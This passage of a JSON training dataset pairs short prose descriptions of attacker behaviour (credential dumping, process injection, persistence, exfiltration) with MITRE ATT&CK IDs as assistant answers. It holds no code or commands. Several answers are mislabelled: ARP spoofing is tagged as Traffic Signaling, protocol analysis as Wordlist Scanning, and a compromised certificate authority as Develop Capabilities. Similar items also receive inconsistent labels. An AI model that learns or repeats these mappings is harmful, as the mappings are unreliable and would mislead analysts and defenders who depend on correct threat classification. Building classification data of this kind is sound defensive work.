                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script queries the Windows Registry under HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall to list installed software packages."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary performs DNS zone transfers and queries for cloud-specific records to map cloud-hosted services and endpoints."
            },
            {
                "role": "assistant",
                "content": "T1580 - Cloud Infrastructure Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder adds a pam_exec.so line in the SSH login stack to run a command that exfiltrates session data."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging the NtWriteVirtualMemory system call, the attacker injects malicious shellcode into a running notepad.exe process."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor utilized SNMP traps to receive configuration changes and dump the MIB data."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion tool retrieves the wireless LAN configuration, including SSID names and security protocols."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses remote PowerShell sessions to upload a payload from the initial foothold to other networked systems."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker reconfigures the SIEM's rule set to drop events related to suspicious network traffic, hiding their presence."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries invoke MSBuild.exe with a malicious project file to execute arbitrary code on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries the victim's registry to list all installed applications and versions."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging the Windows Terminal Services API, the intruder attaches to an existing remote desktop session, effectively hijacking the user's active connection."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojanized TIFF image is embedded in a PDF document; opening the PDF causes the TIFF to be parsed by a vulnerable library, executing a hidden payload."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is installed as a custom password filter DLL to intercept and log user passwords during authentication."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder runs a scripted scan to list all services, such as HTTP, SSH, and SMB, on reachable hosts."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker issues an 'at' command to run a batch file that modifies registry keys for persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware disguises its beacon traffic as standard HTTP traffic to a popular CDN."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a crafted DNS query, the adversary triggers a crash in the DNS resolver, resulting in a denial of service on the affected machine."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved using Azure Bastion to launch an RDP session straight into a compromised Azure VM from an external IP address."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code uses the 'net start' command to trigger execution of a hidden service that runs the payload with SYSTEM rights."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script executed in the Unix shell sets environment variables to hide its activity."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a previously established VPN trust relationship to pivot into the corporate network without triggering alerts."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromise email accounts and send fraudulent invoices to vendors, tricking them into wiring money to fraudulent bank accounts."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accessed an insecure Bitbucket server over HTTP and performed a shallow clone of the repository to harvest source files."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the AppCert DLL registration to have their DLL executed every time a particular COM object is instantiated."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection spreads laterally by using SMB packets to transmit malicious payloads directly within the protocol's header fields, bypassing user‑level services."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using WMI, the attacker subscribes to a Windows event that signals a network connection, triggering the download of additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group inserts a new registry key under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run once the user logs in."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a credential‑dumping tool, the attacker retrieves Kerberos tickets and then presents them to remote services to gain unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows API WriteProcessMemory after obtaining a handle via OpenProcess to perform process hollowing on a system service."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script in PowerShell installs a hidden form that records user input fields in web browsers, effectively performing GUI input capture."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary copies the password vault files from the victim's profiles of Chrome, Firefox, and Edge for offline cracking."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker rewrites the system's hosts file on the compromised machine, redirecting network requests to malicious hosts."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker creates a TLS‑like tunnel using a self‑signed certificate and the victim's public key to encrypt command traffic, forming an encrypted asymmetric channel."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sent a spear‑phishing email with a malicious link that, when clicked, harvested the victim’s Outlook credentials."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker physically accesses the target facility, plugs in a USB stick, and copies encrypted backups for later analysis."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat runs PowerShell commands to retrieve the output of 'Get-NetRoute' and 'Get-NetIPConfiguration', constructing a detailed network map."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses PowerShell to retrieve the list of domain trusts from the forest root."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a malicious script that exfiltrates compute cycles to a remote mining pool without user consent."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool issues a DNS request to a controlled domain to leak the victim's external IP address."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider at a critical software supplier added a covert data‑exfiltration module to the product’s source code, which was then compiled and shipped to customers as part of a routine software release."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors deploy a web shell that launches Docker containers to perform large-scale cryptomining on the victim's infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a DLL named \"netshhelper.dll\" into the system directory and leverages the Netsh helper mechanism to run code during a network configuration command."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor enumerates Google Cloud Platform IAM groups via the \"projects.getIamPolicy\" endpoint."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary inserts malicious firmware into a motherboard during manufacturing before the device is shipped to the customer."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses the built-in VNC server on Linux to gain remote interactive access after compromising credentials."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a modified .msc file, the adversary leverages the trusted mmc.exe process to execute ransomware payloads."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries manipulate DNS responses to redirect MFA validation requests to a controlled server, capturing and reusing the authentication data."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromised a code signing certificate authority to issue certificates for their malicious tools."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A USB drop attack drops a malicious autorun.inf that triggers a batch file which runs ‘ffmpeg’ to capture and save microphone output."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware registers a system service that runs a backdoor binary with elevated privileges whenever the service is started."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware calls the Windows API function EnumServicesStatusEx to retrieve detailed information about system services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A PowerShell script reads the NL$KM cache entries from HKLM\\System\\CurrentControlSet\\Control\\Lsa to obtain domain password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor encodes sensitive files into DNS queries, using DNS tunneling to exfiltrate data to an external C2 server."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised script performs a GET request to \"https://api.my-ip.io/ip\" to capture the external IP address for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary adds a malicious debugger value under the Image File Execution Options registry key for legit.exe, causing the system to launch their payload whenever the legitimate executable runs."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses ARP spoofing on a local network to intercept and redirect traffic for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker initiates AS-REP requests for accounts lacking pre-authentication, capturing the encrypted tickets to later attempt offline cracking of the users' passwords."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uploaded stolen files to a remote Dropbox account before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operator removes the 'History' registry key under HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System to stop command line logging."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a vulnerable Memcached server by sending a forged UDP request that triggers a 1:1000 amplification factor toward the victim’s network."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor creates a counterfeit web cookie containing a valid session identifier to hijack an active user session."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals employ automated tools to gather usernames and real‑name pairs from Twitter mentions of the target brand."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script imports a forged code‑signing certificate into the Windows certificate store to stealthily sign later stages of the malware."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes adding a registry entry for a new service that calls an executable from the temp directory."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracted data from SharePoint by issuing HTTP GET requests to known file URLs."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads encrypted password vaults from 1Password and exports them to an external command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fake Microsoft Teams chat is sent by an attacker, appearing to be from a project manager, asking team members to upload the latest project files to a malicious cloud storage link."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary extracts the list of groups the current user belongs to from the security token."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors remove admin privileges from a legitimate user, effectively locking them out of critical systems."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker utilizes a network device CLI to run commands that create a new administrative account on a router."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group creates a dedicated Alibaba Cloud account to host command-and-control infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code intercepts keyboard input events in the operating system and stores the captured keystrokes in an encrypted file."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor generates a service login in the system registry to ensure continued access."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious Outlook rules are configured to move emails with attachments to a hidden folder and then execute a hidden executable embedded in the email body."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using network protocol analysis to identify potential security weaknesses in communication protocols."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
